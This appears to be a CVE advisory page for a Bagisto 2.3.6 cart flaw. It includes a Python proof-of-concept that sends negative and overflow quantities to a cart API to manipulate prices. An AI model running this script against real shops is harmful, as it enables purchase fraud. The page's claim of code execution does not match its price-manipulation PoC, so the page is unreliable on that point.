Security Vulnerability Report
中文
CVE-2025-56426 CVSS 6.5 MEDIUM

CVE-2025-56426

Published: 2025-10-09 16:15:45
Last Modified: 2025-10-30 14:30:40

Description

An issue WebKul Bagisto v.2.3.6 allows a remote attacker to execute arbitrary code via the Cart/Checkout API endpoint, specifically, the price calculation logic fails to validate quantity inputs properly.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:webkul:bagisto:2.3.6:*:*:*:*:*:*:* - VULNERABLE
WebKul Bagisto 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-56426 - Bagisto Cart Price Manipulation PoC # Tested on: Bagisto v2.3.6 # Author: Security Researcher # Description: Exploits improper quantity validation in Cart/Checkout API import requests import json # Target configuration TARGET_URL = "https://target-bagisto-site.com" PRODUCT_ID = 1 # Target product ID # Step 1: Get CSRF token and session cookies session = requests.Session() homepage = session.get(TARGET_URL) # Extract CSRF token from cookies or meta tags csrf_token = session.cookies.get('XSRF-TOKEN', '') # Step 2: Exploit the Cart API with malicious quantity parameter # The vulnerability allows manipulating price through abnormal quantity values exploit_payload = { "product_id": PRODUCT_ID, "quantity": -1, # Negative quantity to manipulate price calculation "is_buy_now": 1 } headers = { "Content-Type": "application/json", "X-CSRF-TOKEN": csrf_token, "X-Requested-With": "XMLHttpRequest", "Accept": "application/json" } # Step 3: Send the malicious request to the cart/add-to-cart endpoint cart_endpoint = f"{TARGET_URL}/api/v1/cart/add" response = session.post( cart_endpoint, data=json.dumps(exploit_payload), headers=headers ) # Step 4: Check the response if response.status_code == 200: cart_data = response.json() print(f"[+] Exploit successful!") print(f"[+] Cart total manipulated: {cart_data.get('grand_total', 'N/A')}") print(f"[+] Original price: {cart_data.get('original_price', 'N/A')}") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative exploitation: Large quantity value for price overflow # Some versions may also be vulnerable to integer overflow exploit_payload_overflow = { "product_id": PRODUCT_ID, "quantity": 999999999, # Large value to trigger calculation overflow "is_buy_now": 1 } response2 = session.post( cart_endpoint, data=json.dumps(exploit_payload_overflow), headers=headers ) print(f"\n[+] Overflow test response: {response2.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56426", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:45.480", "lastModified": "2025-10-30T14:30:40.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue WebKul Bagisto v.2.3.6 allows a remote attacker to execute arbitrary code via the Cart/Checkout API endpoint, specifically, the price calculation logic fails to validate quantity inputs properly."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:bagisto:2.3.6:*:*:*:*:*:*:*", "matchCriteriaId": "45D919DA-4530-4D0E-B19D-193009242CC5"}]}]}], "references": [{"url": "https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}